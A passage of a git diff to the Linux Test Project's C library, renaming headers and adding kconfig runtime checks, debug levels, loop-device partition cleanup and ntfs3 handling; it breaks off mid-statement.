OUTPUT_FNAME "output" diff --git a/ltp/lib/tests/tst_dataroot01.c b/ltp/lib/tests/tst_dataroot01.c index fab8bfea..d0a03ff7 100644 --- a/ltp/lib/tests/tst_dataroot01.c +++ b/ltp/lib/tests/tst_dataroot01.c @@ -21,7 +21,7 @@ #include #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define OUTPUT_FNAME "output" #define LTPROOT "/opt/ltp" diff --git a/ltp/lib/tests/tst_dataroot02.c b/ltp/lib/tests/tst_dataroot02.c index b936b57f..2be9db2a 100644 --- a/ltp/lib/tests/tst_dataroot02.c +++ b/ltp/lib/tests/tst_dataroot02.c @@ -21,7 +21,7 @@ #include #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define OUTPUT_FNAME "output" #define LTPROOT "/opt/ltp" diff --git a/ltp/lib/tests/tst_dataroot03.c b/ltp/lib/tests/tst_dataroot03.c index cf5a04ec..88ea9e07 100644 --- a/ltp/lib/tests/tst_dataroot03.c +++ b/ltp/lib/tests/tst_dataroot03.c @@ -21,7 +21,7 @@ #include #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #define OUTPUT_FNAME "output" #define LTPROOT "/opt/ltp" diff --git a/ltp/lib/tests/tst_safe_macros.c b/ltp/lib/tests/tst_safe_macros.c index 5c427ee1..59b9b49b 100644 --- a/ltp/lib/tests/tst_safe_macros.c +++ b/ltp/lib/tests/tst_safe_macros.c @@ -1,5 +1,5 @@ #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" char *TCID = "test_safe_macros"; int TST_TOTAL = 1; diff --git a/ltp/lib/tlibio.c b/ltp/lib/tlibio.c index 70e0c6f7..cf62bdc6 100644 --- a/ltp/lib/tlibio.c +++ b/ltp/lib/tlibio.c @@ -93,8 +93,8 @@ #endif #include /* atoi, abs */ -#include "tlibio.h" /* defines LIO* macros */ -#include "random_range.h" +#include "tso_lio.h" /* defines LIO* macros */ +#include "tso_random_range.h" #ifndef PATH_MAX #define PATH_MAX MAXPATHLEN diff --git a/ltp/lib/tst_af_alg.c b/ltp/lib/tst_af_alg.c index a14f9865..93757278 100644 --- a/ltp/lib/tst_af_alg.c +++ b/ltp/lib/tst_af_alg.c @@ -198,7 +198,6 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen, struct msghdr msg = { .msg_iov = &iov, .msg_iovlen = 1, - .msg_flags = params->msg_flags, }; size_t controllen; uint8_t *control; @@ -249,5 +248,5 @@ void tst_alg_sendmsg(int reqfd, const void *data, size_t datalen, cmsg = CMSG_NXTHDR(&msg, cmsg); } - SAFE_SENDMSG(datalen, reqfd, &msg, 0); + SAFE_SENDMSG(datalen, reqfd, &msg, params->msg_flags); } diff --git a/ltp/lib/tst_checkpoint.c b/ltp/lib/tst_checkpoint.c index 9f803e3e..33db0838 100644 --- a/ltp/lib/tst_checkpoint.c +++ b/ltp/lib/tst_checkpoint.c @@ -10,11 +10,13 @@ #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "lapi/futex.h" #define DEFAULT_MSEC_TIMEOUT 10000 +unsigned int tst_multiply_timeout(unsigned int timeout); + /* * Global futex array and size for checkpoint synchronization. * @@ -37,6 +39,8 @@ int tst_checkpoint_wait(unsigned int id, unsigned int msec_timeout) return -1; } + msec_timeout = tst_multiply_timeout(msec_timeout); + timeout.tv_sec = msec_timeout/1000; timeout.tv_nsec = (msec_timeout%1000) * 1000000; @@ -61,6 +65,8 @@ int tst_checkpoint_wake(unsigned int id, unsigned int nr_wake, return -1; } + msec_timeout = tst_multiply_timeout(msec_timeout); + for (;;) { waked += syscall(SYS_futex, &tst_futexes[id], FUTEX_WAKE, INT_MAX, NULL); diff --git a/ltp/lib/tst_clocks.c b/ltp/lib/tst_clocks.c index 704ce955..107938e4 100644 --- a/ltp/lib/tst_clocks.c +++ b/ltp/lib/tst_clocks.c @@ -19,7 +19,7 @@ typedef int (*mysyscall)(clockid_t clk_id, void *ts); int syscall_supported_by_kernel(long sysnr) { int ret; - struct __kernel_timespec foo; + struct __kernel_timespec foo = { 0, }; ret = syscall(sysnr, 0, &foo); if (ret == -1 && errno == ENOSYS) diff --git a/ltp/lib/tst_clone.c b/ltp/lib/tst_clone.c index 8638052e..296cd40a 100644 --- a/ltp/lib/tst_clone.c +++ b/ltp/lib/tst_clone.c @@ -36,9 +36,9 @@ pid_t tst_clone(const struct tst_clone_args *tst_args) flags = args.exit_signal | args.flags; #ifdef __s390x__ - pid = syscall(__NR_clone, NULL, flags); + pid = syscall(__NR_clone, NULL, flags, args.pidfd, NULL, NULL); #else - pid = syscall(__NR_clone, flags, NULL); + pid = syscall(__NR_clone, flags, NULL, args.pidfd, NULL, NULL); #endif if (pid == -1) diff --git a/ltp/lib/tst_cmd.c b/ltp/lib/tst_cmd.c index 82d60497..79f547ab 100644 --- a/ltp/lib/tst_cmd.c +++ b/ltp/lib/tst_cmd.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "test.h" #include "tst_cmd.h" #include "tst_private.h" @@ -249,7 +250,7 @@ static struct version_parser { {}, }; -int tst_check_cmd(const char *cmd, const int brk_nosupp) +bool tst_check_cmd(const char *cmd, const int brk_nosupp) { struct version_parser *p; char *cmd_token, *op_token, *version_token, *next, *str; @@ -264,11 +265,17 @@ int tst_check_cmd(const char *cmd, const int brk_nosupp) version_token = strtok_r(NULL, " ", &next); str = strtok_r(NULL, " ", &next); - if (tst_get_path(cmd_token, path, sizeof(path))) - tst_brkm(TCONF, NULL, "Couldn't find '%s' in $PATH", cmd_token); + if (tst_get_path(cmd_token, path, sizeof(path))) { + if (brk_nosupp) { + tst_brkm(TCONF, NULL, "Couldn't find '%s' in $PATH", cmd_token); + } else { + tst_resm(TCONF, "Couldn't find '%s' in $PATH", cmd_token); + return false; + } + } if (!op_token) - return 0; + return true; if (!version_token || str) { tst_brkm(TCONF, NULL, @@ -318,7 +325,7 @@ int tst_check_cmd(const char *cmd, const int brk_nosupp) tst_brkm(TCONF, NULL, "Invalid op(%s)", op_token); } - return 0; + return true; error: if (brk_nosupp) { tst_brkm(TCONF, NULL, "%s requires %s %d, but got %d", @@ -328,5 +335,5 @@ error: cmd, op_token, ver_get, ver_parser); } - return 1; + return false; } diff --git a/ltp/lib/tst_cpu.c b/ltp/lib/tst_cpu.c index b4c7c2f8..faffcba9 100644 --- a/ltp/lib/tst_cpu.c +++ b/ltp/lib/tst_cpu.c @@ -22,7 +22,7 @@ #include #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" long tst_ncpus(void) { diff --git a/ltp/lib/tst_device.c b/ltp/lib/tst_device.c index 2364df05..d3c53a1a 100644 --- a/ltp/lib/tst_device.c +++ b/ltp/lib/tst_device.c @@ -21,7 +21,7 @@ #include #include "lapi/syscalls.h" #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" #include "tst_device.h" #ifndef LOOP_CTL_GET_FREE @@ -239,9 +239,9 @@ uint64_t tst_get_device_size(const char *dev_path) return size/1024/1024; } -int tst_detach_device_by_fd(const char *dev, int dev_fd) +static int detach_loop_fd(const char *dev, int *dev_fd) { - int ret, i; + int ret, i, retval = 1; /* keep trying to clear LOOPDEV until we get ENXIO, a quick succession * of attach/detach might not give udev enough time to complete @@ -250,19 +250,18 @@ int tst_detach_device_by_fd(const char *dev, int dev_fd) * device is detached only after last close. */ for (i = 0; i < 40; i++) { - ret = ioctl(dev_fd, LOOP_CLR_FD, 0); + ret = ioctl(*dev_fd, LOOP_CLR_FD, 0); if (ret && (errno == ENXIO)) { - SAFE_CLOSE(NULL, dev_fd); - return 0; + retval = 0; + goto exit; } if (ret && (errno != EBUSY)) { tst_resm(TWARN, "ioctl(%s, LOOP_CLR_FD, 0) unexpectedly failed with: %s", dev, tst_strerrno(errno)); - SAFE_CLOSE(NULL, dev_fd); - return 1; + goto exit; } usleep(50000); @@ -270,8 +269,87 @@ int tst_detach_device_by_fd(const char *dev, int dev_fd) tst_resm(TWARN, "ioctl(%s, LOOP_CLR_FD, 0) no ENXIO for too long", dev); - SAFE_CLOSE(NULL, dev_fd); - return 1; +exit: + SAFE_CLOSE(NULL, *dev_fd); + *dev_fd = -1; + return retval; +} + +static int find_loop_device_partition(const char *dev, char *part_path, + unsigned int path_size) +{ + int dev_num = -1; + unsigned int i; + + snprintf(part_path, path_size, "%sp1", dev); + + if (!access(part_path, F_OK)) + return 1; + + /* Parse loop device number */ + for (i = 0; i < ARRAY_SIZE(dev_loop_variants); i++) { + if (sscanf(dev, dev_loop_variants[i], &dev_num) == 1) + break; + + dev_num = -1; + } + + if (dev_num < 0) { + tst_resm(TWARN, "Cannot parse %s device number", dev); + return 0; + } + + snprintf(part_path, path_size, "/sys/block/loop%d/loop%dp1", dev_num, + dev_num); + + if (!access(part_path, F_OK)) + return 1; + + /* The loop device has no leftover partitions */ + return 0; +} + +static int clear_loop_device_partitions(const char *dev) +{ + char part_path[PATH_MAX]; + struct loop_info loopinfo = {}; + int dev_fd; + + if (!find_loop_device_partition(dev, part_path, PATH_MAX)) + return 0; + + tst_resm(TWARN, "Detached device %s has leftover partitions", dev); + tst_fill_file(DEV_FILE, 0, 1024 * 1024, 1); + tst_attach_device(dev, DEV_FILE); + dev_fd = open(dev, O_RDWR); + + if (dev_fd < 0) { + tst_resm(TWARN | TERRNO, + "Cannot clear leftover partitions on %s", dev); + /* Do not detach device to prevent infinite recursion */ + return 1; + } + + loopinfo.lo_flags = LO_FLAGS_PARTSCAN; + ioctl(dev_fd, LOOP_SET_STATUS, &loopinfo); + + if (!access(part_path, F_OK)) { + tst_resm(TWARN, "Cannot clear leftover partitions on %s", dev); + detach_loop_fd(dev, &dev_fd); + return 1; + } + + return detach_loop_fd(dev, &dev_fd); +} + +int tst_detach_device_by_fd(const char *dev, int *dev_fd) +{ + int ret = detach_loop_fd(dev, dev_fd); + + if (!ret) + ret = clear_loop_device_partitions(dev); + + return ret; } int tst_detach_device(const char *dev) @@ -284,7 +362,7 @@ int tst_detach_device(const char *dev) return 1; } - ret = tst_detach_device_by_fd(dev, dev_fd); + ret = tst_detach_device_by_fd(dev, &dev_fd); return ret; } diff --git a/ltp/lib/tst_dir_is_empty.c b/ltp/lib/tst_dir_is_empty.c index 43764eeb..b266630d 100644 --- a/ltp/lib/tst_dir_is_empty.c +++ b/ltp/lib/tst_dir_is_empty.c @@ -23,7 +23,7 @@ #include #include "test.h" -#include "safe_macros.h" +#include "tso_safe_macros.h" int tst_dir_is_empty_(void (cleanup_fn)(void), const char *name, int verbose) { diff --git a/ltp/lib/tst_fs_link_count.c b/ltp/lib/tst_fs_link_count.c index 6a6bb52b..e0fbb335 100644 --- a/ltp/lib/tst_fs_link_count.c +++ b/ltp/lib/tst_fs_link_count.c @@ -22,8 +22,8 @@ #include #include "test.h" -#include "usctest.h" -#include "safe_macros.h" +#include "tso_usctest.h" +#include "tso_safe_macros.h" #define MAX_SANE_HARD_LINKS 65535 diff --git a/ltp/lib/tst_kconfig.c b/ltp/lib/tst_kconfig.c index 9bcd5772..44eacc7c 100644 --- a/ltp/lib/tst_kconfig.c +++ b/ltp/lib/tst_kconfig.c @@ -1,6 +1,6 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* - * Copyright (c) 2018 Cyril Hrubis + * Copyright (c) 2018-2026 Cyril Hrubis */ #include @@ -16,6 +16,8 @@ #include "tst_bool_expr.h" #include "tst_safe_stdio.h" +#include "tst_kconfig_checks.h" + static int kconfig_skip_check(void) { char *skipped = getenv("KCONFIG_SKIP_CHECK"); @@ -110,6 +112,78 @@ static void close_kconfig(FILE *fp) fclose(fp); } +static struct config_runtime_map { + const char *config; + bool (*runtime_check)(void); +} config_runtime_maps[] = { + {"CONFIG_USER_NS", tst_user_ns_enabled}, + {"CONFIG_NET_NS", tst_net_ns_enabled}, + {"CONFIG_PID_NS", tst_pid_ns_enabled}, + {"CONFIG_MNT_NS", tst_mnt_ns_enabled}, + {"CONFIG_IPC_NS", tst_ipc_ns_enabled}, + {} +}; + +static void kconfig_runtime_check(struct tst_kconfig_var *var) +{ + size_t i; + + for (i = 0; config_runtime_maps[i].config; i++) { + if (strcmp(config_runtime_maps[i].config, var->id)) + continue; + + tst_res(TDEBUG, "Running runtime check for '%s'", var->id); + + if (!config_runtime_maps[i].runtime_check()) { + tst_res(TINFO, + "%s=%c present but disabled at runtime", + var->id, var->choice); + var->choice = 'n'; + return; + } + } +} + +static struct config_module_map { + const char *config; + const char *module_name; +} config_module_maps[] = { + {"CONFIG_KVM", "kvm"}, + {"CONFIG_ZRAM", "zram"}, + {"CONFIG_SQUASHFS", "squashfs"}, + {"CONFIG_BLK_DEV_LOOP", "loop"}, + {"CONFIG_TUN", "tun"}, + {"CONFIG_BLK_DEV_RAM", "brd"}, + {"CONFIG_HWPOISON_INJECT", "hwpoison_inject"}, + {"CONFIG_QFMT_V2", "quota_v2"}, + {"CONFIG_INPUT_UINPUT", "uinput"}, + {"CONFIG_DUMMY", "dummy"}, + {"CONFIG_CAN_VCAN", "vcan"}, + {"CONFIG_CAN_RAW", "can-raw"}, + {"CONFIG_CAN_BCM", "can-bcm"}, + {"CONFIG_IP_SCTP", "sctp"}, + {} +}; + +static void kconfig_module_check(struct tst_kconfig_var *var) +{ + size_t i; + + for (i = 0; config_module_maps[i].config; i++) { + if (strcmp(config_module_maps[i].config, var->id)) + continue; + + tst_res(TDEBUG, "Running module check for '%s'", var->id); + + if (tst_check_module_driver(config_module_maps[i].module_name)) { + tst_res(TINFO, "%s=%c present but module '%s' not installed", + var->id, var->choice, config_module_maps[i].module_name); + var->choice = 'n'; + return; + } + } +} + static inline int kconfig_parse_line(const char *line, struct tst_kconfig_var *vars, unsigned int vars_len) @@ -183,9 +257,12 @@ out: switch (val[0]) { case 'y': vars[i].choice = 'y'; + kconfig_runtime_check(&vars[i]); return 1; case 'm': vars[i].choice = 'm'; + kconfig_runtime_check(&vars[i]); + kconfig_module_check(&vars[i]); return 1; } } @@ -391,7 +468,7 @@ static const struct tst_kconfig_var *find_var(const struct tst_kconfig_var vars[ /* * Fill in the kconfig variables array from the expressions. Also makes sure - * that each variable is copied to the array exaclty once. + * that each variable is copied to the array exactly once. */ static inline unsigned int populate_vars(struct tst_expr *exprs[], unsigned int expr_cnt, diff --git a/ltp/lib/tst_kconfig_checks.h b/ltp/lib/tst_kconfig_checks.h new file mode 100644 index 00000000..94aad641 --- /dev/null +++ b/ltp/lib/tst_kconfig_checks.h @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 Cyril Hrubis + */ + +#ifndef TST_KCONFIG_CHECKS_H +#define TST_KCONFIG_CHECKS_H + +#include +#include + +static inline bool tst_user_ns_enabled(void) +{ + return access("/proc/self/ns/user", F_OK) == 0; +} + +static inline bool tst_net_ns_enabled(void) +{ + return access("/proc/self/ns/net", F_OK) == 0; +} + +static inline bool tst_pid_ns_enabled(void) +{ + return access("/proc/self/ns/pid", F_OK) == 0; +} + +static inline bool tst_mnt_ns_enabled(void) +{ + return access("/proc/self/ns/mnt", F_OK) == 0; +} + +static inline bool tst_ipc_ns_enabled(void) +{ + return access("/proc/self/ns/ipc", F_OK) == 0; +} + +#endif /* TST_KCONFIG_CHECKS_H */ diff --git a/ltp/lib/tst_kernel.c b/ltp/lib/tst_kernel.c index 9ab02e5d..8f7503c0 100644 --- a/ltp/lib/tst_kernel.c +++ b/ltp/lib/tst_kernel.c @@ -24,7 +24,7 @@ #include "test.h" #include "tst_kernel.h" -#include "old_safe_stdio.h" +#include "tso_safe_stdio.h" #include "lapi/abisize.h" static int get_kernel_bits_from_uname(struct utsname *buf) @@ -200,16 +200,18 @@ static int tst_search_driver(const char *driver, const char *file) int tst_check_builtin_driver(const char *driver) { - if (!tst_search_driver(driver, "modules.builtin")) - return 0; + return tst_search_driver(driver, "modules.builtin"); +} - return -1; +int tst_check_module_driver(const char *driver) +{ + return tst_search_driver(driver, "modules.dep"); } int tst_check_driver(const char *driver) { - if (!tst_search_driver(driver, "modules.dep") || - !tst_check_builtin_driver(driver)) + if (!tst_check_module_driver(driver) || + !tst_check_builtin_driver(driver)) return 0; return -1; diff --git a/ltp/lib/tst_mkfs.c b/ltp/lib/tst_mkfs.c index 19d995df..961ffc09 100644 --- a/ltp/lib/tst_mkfs.c +++ b/ltp/lib/tst_mkfs.c @@ -16,7 +16,7 @@ */ #include "test.h" -#include "ltp_priv.h" +#include "tso_priv.h" #include "tst_mkfs.h" #include "tst_device.h" @@ -50,6 +50,9 @@ void tst_mkfs_(const char *file, const int lineno, void (cleanup_fn)(void), return; } + if (!strcmp(fs_type, "ntfs3")) + fs_type = "ntfs"; + snprintf(mkfs, sizeof(mkfs), "mkfs.%s", fs_type); if (fs_opts) { diff --git a/ltp/lib/tst_module.c b/ltp/lib/tst_module.c index 42d63ede..cbd2415d 100644 --- a/ltp/lib/tst_module.c +++ b/ltp/lib/tst_module.c @@ -28,8 +28,8 @@ #include "test.h" #include "tst_kconfig.h" -#include "ltp_priv.h" -#include "old_module.h" +#include "tso_priv.h" +#include "tso_module.h" void tst_module_exists_(void (cleanup_fn)(void), const char *mod_name, char **mod_path) diff --git a/ltp/lib/tst_parse_opts.c b/ltp/lib/tst_parse_opts.c index 94970e1a..14845401 100644 --- a/ltp/lib/tst_parse_opts.c +++ b/ltp/lib/tst_parse_opts.c @@ -22,7 +22,7 @@ */ #include "test.h" -#include "ltp_priv.h" +#include "tso_priv.h" void tst_parse_opts(int argc, char *argv[], const option_t *user_optarg, void (*user_help)(void)) diff --git a/ltp/lib/tst_pid.c b/ltp/lib/tst_pid.c index 4e9dc7a5..4346a826 100644 --- a/ltp/lib/tst_pid.c +++ b/ltp/lib/tst_pid.c @@ -28,7 +28,7 @@ #include #include "test.h" #include "tst_pid.h" -#include "old_safe_file_ops.h" +#include "tso_safe_file_ops.h" #include "tst_safe_macros.h" #include "lapi/syscalls.h" diff --git a/ltp/lib/tst_res.c b/ltp/lib/tst_res.c index f50c0727..9278ad9f 100644 --- a/ltp/lib/tst_res.c +++ b/ltp/lib/tst_res.c @@ -48,9 +48,9 @@ #include #include "test.h" -#include "safe_macros.h" -#include "usctest.h" -#include "ltp_priv.h" +#include "tso_safe_macros.h" +#include "tso_usctest.h" +#include "tso_priv.h" #include "tst_ansi_color.h" long TEST_RETURN; diff --git a/ltp/lib/tst_resource.c b/ltp/lib/tst_resource.c index c35d05a2..ea2783dc 100644 --- a/ltp/lib/tst_resource.c +++ b/ltp/lib/tst_resource.c @@ -23,8 +23,8 @@ #include #include "test.h" -#include "old_resource.h" -#include "ltp_priv.h" +#include "tso_resource.h" +#include "tso_priv.h" #ifndef PATH_MAX #ifdef MAXPATHLEN diff --git a/ltp/lib/tst_security.c b/ltp/lib/tst_security.c index c5152713..00be4d72 100644 --- a/ltp/lib/tst_security.c +++ b/ltp/lib/tst_security.c @@ -39,6 +39,8 @@ int tst_lsm_enabled(const char *name) if (access(LSM_SYS_FILE, F_OK)) tst_brk(TCONF, "%s file is not present", LSM_SYS_FILE); + memset(data, 0, BUFSIZ); + fd = SAFE_OPEN(LSM_SYS_FILE, O_RDONLY); SAFE_READ(0, fd, data, BUFSIZ); SAFE_CLOSE(fd); diff --git a/ltp/lib/tst_supported_fs_types.c b/ltp/lib/tst_supported_fs_types.c index bbd5a5fb..d3020fc4 100644 --- a/ltp/lib/tst_supported_fs_types.c +++ b/ltp/lib/tst_supported_fs_types.c @@ -30,6 +30,7 @@ static const char *const fs_type_whitelist[] = { "vfat", "exfat", "ntfs", + "ntfs3", "tmpfs", NULL }; @@ -51,6 +52,9 @@ static int has_mkfs(const char *fs_type) return 1; } + if (!strcmp(fs_type, "ntfs3")) + fs_type = "ntfs"; + sprintf(buf, "mkfs.%s >/dev/null 2>&1", fs_type); ret = tst_system(buf); @@ -87,6 +91,9 @@ static enum tst_fs_impl has_kernel_support(const char *fs_type) char template[PATH_MAX]; int ret; + if (!strcmp(fs_type, "ntfs")) + goto check_fuse; + snprintf(template, sizeof(template), "%s/mountXXXXXX", tmpdir); if (!mkdtemp(template)) tst_brk(TBROK | TERRNO, "mkdtemp(%s) failed", template); @@ -102,6 +109,7 @@ static enum tst_fs_impl has_kernel_support(const char *fs_type) SAFE_RMDIR(template); +check_fuse: if (tst_fs_in_skiplist(fs_type, fs_type_fuse_blacklist)) { tst_res(TINFO, "Skipping %s because of FUSE blacklist", fs_type); return TST_FS_UNSUPPORTED; @@ -188,7 +196,7 @@ const char **tst_get_supported_fs_types(const char *const *skiplist) skip_fuse = tst_fs_in_skiplist("fuse", skiplist); - if (only_fs) { + if (only_fs && only_fs[0] != '\0') { tst_res(TINFO, "WARNING: testing only %s", only_fs); if (fs_could_be_used(only_fs, skiplist, skip_fuse)) fs_types[0] = only_fs; diff --git a/ltp/lib/tst_test.c b/ltp/lib/tst_test.c index 92872cc8..b525a01a 100644 --- a/ltp/lib/tst_test.c +++ b/ltp/lib/tst_test.c @@ -34,9 +34,9 @@ #include "tst_sys_conf.h" #include "tst_kconfig.h" #include "tst_private.h" -#include "old_resource.h" -#include "old_device.h" -#include "old_tmpdir.h" +#include "tso_resource.h" +#include "tso_device.h" +#include "tso_tmpdir.h" #include "ltp-version.h" #include "tst_hugepage.h" @@ -82,7 +82,7 @@ struct context { tst_atomic_t abort_flag; uint32_t mntpoint_mounted:1; uint32_t ovl_mounted:1; - uint32_t tdebug:1; + uint32_t tdebug; }; struct results { @@ -195,6 +195,9 @@ void tst_reinit(void) size_t size = getpagesize(); int fd; + if (ipc) + tst_brk(TBROK, "Test library already initialized!"); + if (!path) tst_brk(TBROK, IPC_ENV_VAR" is not defined"); @@ -215,8 +218,7 @@ void tst_reinit(void) tst_futexes = ipc->futexes; tst_max_futexes = (size - offsetof(struct ipc_region, futexes)) / sizeof(futex_t); - if (context->tdebug) - tst_res(TINFO, "Restored metadata for PID %d", getpid()); + tst_res(TDEBUG, "Restored metadata for PID %d", getpid()); } extern char **environ; @@ -313,9 +315,13 @@ static void print_result(const char *file, const int lineno, int ttype, res = "TWARN"; break; case TINFO: + if (reproducible_output) + return; res = "TINFO"; break; case TDEBUG: + if (reproducible_output) + return; res = "TDEBUG"; break; default: @@ -483,19 +489,20 @@ void tst_res_(const char *file, const int lineno, int ttype, va_list va; /* - * Suppress TDEBUG output in these cases: + * Control TDEBUG output in these cases: * 1. No context available (e.g., called before IPC initialization) - * 2. Called from the library process, unless explicitly enabled - * 3. Debug output is not enabled (context->tdebug == 0) + * 2. Debug output is completely disabled (default: context->tdebug == 0). + * 3. Debug output is only for test process (context->tdebug == 1). + * 4. Debug output is enabled for both test and lib processes (context->tdebug == 2). */ if (ttype == TDEBUG) { if (!context) return; - if (context->lib_pid == getpid()) + if (!context->tdebug) return; - if (!context->tdebug) + if (context->tdebug == 1 && context->lib_pid == getpid()) return; } @@ -647,11 +654,11 @@ static struct option { char *optstr; char *help; } options[] = { - {"h", "-h Prints this help"}, - {"i:", "-i n Execute test n times"}, - {"I:", "-I x Execute test for n seconds"}, - {"D", "-D Prints debug information"}, - {"V", "-V Prints LTP version"}, + {"h", "-h Prints this help"}, + {"i:", "-i n Execute test n times"}, + {"I:", "-I x Execute test for n seconds"}, + {"D::", "-D[1,2] Prints debug information (can be overwritten by LTP_DEBUG)"}, + {"V", "-V Prints LTP version"}, }; static void print_help(void) @@ -668,8 +675,9 @@ static void print_help(void) fprintf(stderr, "LTP_COLORIZE_OUTPUT Force colorized output behaviour (y/1 always, n/0: never)\n"); fprintf(stderr, "LTP_DEV Path to the block device to be used (for .needs_device)\n"); fprintf(stderr, "LTP_DEV_FS_TYPE Filesystem used for testing (default: %s)\n", DEFAULT_FS_TYPE); - fprintf(stderr, "LTP_ENABLE_DEBUG Print debug messages (set 1 or y)\n"); - fprintf(stderr, "LTP_REPRODUCIBLE_OUTPUT Values 1 or y discard the actual content of the messages printed by the test\n"); + fprintf(stderr, "LTP_DEBUG Print debug messages (set 1(y) or 2)\n"); + fprintf(stderr, "LTP_REPRODUCIBLE_OUTPUT Values 1 or y suppress printing TINFO and TDEBUG messages and\n" + " discards the actual content of all other messages\n"); fprintf(stderr, "LTP_SINGLE_FS_TYPE Specifies filesystem instead all supported (for .all_filesystems)\n"); fprintf(stderr, "LTP_FORCE_SINGLE_FS_TYPE Testing only. The same as LTP_SINGLE_FS_TYPE but ignores test skiplist.\n"); fprintf(stderr, "LTP_TIMEOUT_MUL Timeout multiplier (must be a number >=1)\n"); @@ -817,8 +825,9 @@ static void parse_opts(int argc, char *argv[]) tst_brk(TBROK, "Invalid option"); break; case 'D': - tst_res(TINFO, "Enabling debug info"); - context->tdebug = 1; + if (getenv("LTP_DEBUG")) + break; + context->tdebug = optarg ? SAFE_STRTOL(optarg, 1, 2) : 1; break; case 'h': print_help(); @@ -1048,7 +1057,12 @@ static void do_exit(int ret) exit(ret); } -int check_kver(const char *min_kver, const int brk_nosupp) +/* + * Check for the required kernel version. + * + * return: true if the kernel version is high enough, false otherwise. + */ +static bool check_kver(const char *min_kver, const int brk_nosupp) { char *msg; int v1, v2, v3; @@ -1067,30 +1081,35 @@ int check_kver(const char *min_kver, const int brk_nosupp) else tst_res(TCONF, msg, min_kver); - return 1; + return false; } - return 0; + return true; } -static int results_equal(struct results *a, struct results *b) +/* + * Checks if the struct results values are equal. + * + * return: true if results are equal, false otherwise. + */ +static bool results_equal(struct results *a, struct results *b) { if (a->passed != b->passed) - return 0; + return false; if (a->failed != b->failed) - return 0; + return false; if (a->skipped != b->skipped) - return 0; + return false; if (a->broken != b->broken) - return 0; + return false; - return 1; + return true; } -static int needs_tmpdir(void) +static bool needs_tmpdir(void) { return tst_test->needs_tmpdir || tst_test->needs_device || @@ -1357,9 +1376,27 @@ static const char *default_fs_type(void) return tst_dev_fs_type(); } +bool tst_cmd_present(const char *cmd) +{ + struct tst_cmd *pcmd = tst_test->needs_cmds; + + if (!cmd || cmd[0] == '\0') + tst_brk(TBROK, "Invalid cmd"); + + while (pcmd->cmd) { + if (!strcmp(pcmd->cmd, cmd)) + return pcmd->present; + + pcmd++; + } + + tst_brk(TBROK, "'%s' not checked", cmd); + return false; +} + static void do_setup(int argc, char *argv[]) { - char *tdebug_env = getenv("LTP_ENABLE_DEBUG"); + char *tdebug_env = getenv("LTP_DEBUG"); char *reproducible_env = getenv("LTP_REPRODUCIBLE_OUTPUT"); if (!tst_test) @@ -1399,11 +1436,19 @@ static void do_setup(int argc, char *argv[]) parse_opts(argc, argv); - if (tdebug_env && (!strcmp(tdebug_env, "1") || !strcmp(tdebug_env, "y"))) { - tst_res(TINFO, "Enabling debug info"); - context->tdebug = 1; + if (tdebug_env && *tdebug_env && !context->tdebug) { + if (!strcmp(tdebug_env, "2")) + context->tdebug = 2; + else if (!strcmp(tdebug_env, "1") || !strcmp(tdebug_env, "y")) + context->tdebug = 1; + else + tst_res(TWARN, "Invalid LTP_DEBUG value: '%s'", tdebug_env); + } + if (context->tdebug) + tst_res(TINFO, "Enabling debug info (level %d)", context->tdebug); + if (tst_test->needs_kconfigs && tst_kconfig_check(tst_test->needs_kconfigs)) tst_brk(TCONF, "Aborting due to unsuitable kernel config, see above!"); @@ -1426,20 +1471,12 @@ static void do_setup(int argc, char *argv[]) tst_brk(TCONF, "%dbit ABI is not supported", tst_test->needs_abi_bits); if (tst_test->needs_cmds) { - const char *cmd; - int i; + struct tst_cmd *pcmd = tst_test->needs_cmds; - for (i = 0; (cmd = tst_test->needs_cmds[i]); ++i) - tst_check_cmd(cmd, 1); - } - - if (tst_test->needs_drivers) { - const char *name; - int i; - - for (i = 0; (name = tst_test->needs_drivers[i]); ++i) - if (tst_check_driver(name)) - tst_brk(TCONF, "%s driver not available", name); + while (pcmd->cmd) { + pcmd->present = tst_check_cmd(pcmd->cmd, !pcmd->optional) ? 1 : 0; + pcmd++; + } } if (tst_test->mount_device) @@ -1534,6 +1571,10 @@ static void do_setup(int argc, char *argv[]) tdev.fs_type = default_fs_type(); if (!tst_test->all_filesystems && count_fs_descs() <= 1) { + + if (!tst_fs_is_supported(tdev.fs_type)) + tst_brk(TCONF, "The %s filesystem is not supported", tdev.fs_type); + if (tst_test->filesystems && tst_test->filesystems->mkfs_ver) tst_check_cmd(tst_test->filesystems->mkfs_ver, 1); @@ -1853,7 +1894,7 @@ void tst_set_runtime(int runtime) heartbeat(); } -static int fork_testrun(void) +static void fork_testrun(void) { int status; @@ -1884,8 +1925,8 @@ static int fork_testrun(void) SAFE_SIGNAL(SIGINT, SIG_DFL); if (tst_test->taint_check && tst_taint_check()) { - tst_res(TFAIL, "Kernel is now tainted."); - return TFAIL; + tst_res(TFAIL, "Kernel is now tainted"); + return; } if (tst_test->forks_child && kill(-test_pid, SIGKILL) == 0) @@ -1895,7 +1936,7 @@ static int fork_testrun(void) tst_brk(TBROK, "Child returned with %i", WEXITSTATUS(status)); if (context->abort_flag) - return 0; + return; if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) { tst_res(TINFO, "If you are running on slow machine, " @@ -1905,8 +1946,6 @@ static int fork_testrun(void) if (WIFSIGNALED(status)) tst_brk(TBROK, "Test killed by %s!", tst_strsig(WTERMSIG(status))); - - return 0; } static struct tst_fs *lookup_fs_desc(const char *fs_type, int all_filesystems) @@ -1936,34 +1975,31 @@ ret: return &tst_test->filesystems[0]; } -static int run_tcase_on_fs(struct tst_fs *fs, const char *fs_type) +static void run_tcase_on_fs(struct tst_fs *fs, const char *fs_type) { - int ret; - tst_res(TINFO, "=== Testing on %s ===", fs_type); tdev.fs_type = fs_type; - if (fs->mkfs_ver && tst_check_cmd(fs->mkfs_ver, 0)) - return TCONF; + if 